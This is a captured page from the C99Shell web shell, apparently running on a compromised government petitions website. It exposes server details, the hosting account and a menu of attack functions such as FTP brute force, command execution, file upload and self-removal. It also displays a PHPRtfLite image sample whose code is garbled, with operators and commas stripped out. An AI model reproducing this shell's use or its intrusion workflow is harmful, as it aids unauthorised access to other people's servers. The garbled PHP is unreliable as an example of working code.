!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/petitions.zt-rada.gov.ua/alien/phprtflite/samples/   drwxr-xr-x
Free 106.94 GB of 200.55 GB (53.33%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     images.php (3.74 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

require '../lib/PHPRtfLite.php';

// register PHPRtfLite class loader
PHPRtfLite::registerAutoloader();

//paragraph formats
$parFormat = new PHPRtfLite_ParFormat();

$parGreyLeft = new PHPRtfLite_ParFormat();
$parGreyLeft->setShading(10);

$parGreyCenter = new PHPRtfLite_ParFormat('center');
$parGreyCenter->setShading(10);

// rtf document
$rtf = new PHPRtfLite();

// header
$header $rtf->addHeader('first');
$header->addImage('sources/rtf_thumb.jpg'$parFormat);
$header->writeText('Image in header.', new PHPRtfLite_Font(), new PHPRtfLite_ParFormat());

$sect $rtf->addSection();
$sect->writeText('Images with PhpRtf.', new PHPRtfLite_Font(14), new PHPRtfLite_ParFormat('center'));

$sect->writeText('<br>Here is .jpg image. <tab>', new PHPRtfLite_Font(), new PHPRtfLite_ParFormat());
$sect->addImage('sources/rtf_thumb.jpg'null);

$sect->writeText('<br>Here is .png image. <tab>', new PHPRtfLite_Font(), new PHPRtfLite_ParFormat());
$sect->addImage('sources/html.png'null);

$sect->writeText('<br><br><b>Formating sizes of images:</b>', new PHPRtfLite_Font(), new PHPRtfLite_ParFormat());

$table $sect->addTable();
$table->addRows(34.5);
$table->addRow(6);
$table->addColumnsList(array(7.56.5));

$table->writeToCell(11'<br> Original size.', new PHPRtfLite_Font(), new PHPRtfLite_ParFormat());
//getting cell object, writing text and adding image
$cell $table->getCell(12);
$cell->writeText('<br>   ', new PHPRtfLite_Font(), new PHPRtfLite_ParFormat());
$cell->addImage('sources/cats.jpg'null);

$table->writeToCell(21'<br> Width is set.', new PHPRtfLite_Font(), new PHPRtfLite_ParFormat());
//writing to cell and adding image from table object
$table->writeToCell(22'<br>   ', new PHPRtfLite_Font(), new PHPRtfLite_ParFormat());
$table->addImageToCell(22'sources/cats.jpg'null5);

$table->writeToCell(31'<br> Height is set.', new PHPRtfLite_Font(), new PHPRtfLite_ParFormat());
$table->writeToCell(32'<br>   ', new PHPRtfLite_Font(), new PHPRtfLite_ParFormat());
$table->addImageToCell(32'sources/cats.jpg'null03.5);

$table->writeToCell(41'<br> Both: width and height are set.', new PHPRtfLite_Font(), new PHPRtfLite_ParFormat());
$cell $table->getCell(42);
$cell->writeText('<br>   ', new PHPRtfLite_Font(), new PHPRtfLite_ParFormat());
$img $cell->addImage('sources/cats.jpg'null35);

$sect->writeText('<page/><b>Borders of images</b>', new PHPRtfLite_Font(), new PHPRtfLite_ParFormat());
$table $sect->addTable();
$table->addRows(24.5);
$table->addColumnsList(array(7.56.5));

$table->writeToCell(11'<br> Sample borders', new PHPRtfLite_Font(), new PHPRtfLite_ParFormat());
$cell $table->getCell(12);
$cell->writeText('<br>   ', new PHPRtfLite_Font(), new PHPRtfLite_ParFormat());
$img $cell->addImage('sources/cats.jpg'null);
$border PHPRtfLite_Border::create(3'#000000');
$img->setBorder($border);

$table->writeToCell(21'<br> Borders with space', new PHPRtfLite_Font(), new PHPRtfLite_ParFormat());
$cell $table->getCell(22);
$cell->writeText('<br>   ', new PHPRtfLite_Font(), new PHPRtfLite_ParFormat());
$img $cell->addImage('sources/cats.jpg'null);

$borderFormatBlue = new PHPRtfLite_Border_Format(2'#0000ff''simple'0.5);
$borderFormatRed = new PHPRtfLite_Border_Format(2'#ff0000''simple'0.5);
$border = new PHPRtfLite_Border();
$border->setBorderLeft($borderFormatRed);
$border->setBorderTop($borderFormatBlue);
$border->setBorderRight($borderFormatRed);
$border->setBorderBottom($borderFormatBlue);
$img->setBorder($border);

$sect->writeRtfCode('\par ');

$sect->writeText('<b>Images in paragraph</b><br><br>', new PHPRtfLite_Font(), $parGreyLeft);
$img $sect->addImage('sources/html.png'$parGreyCenter);
$img->setWidth(1.5);

// send to browser
$rtf->sendRtf('images.rtf');

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0371 ]--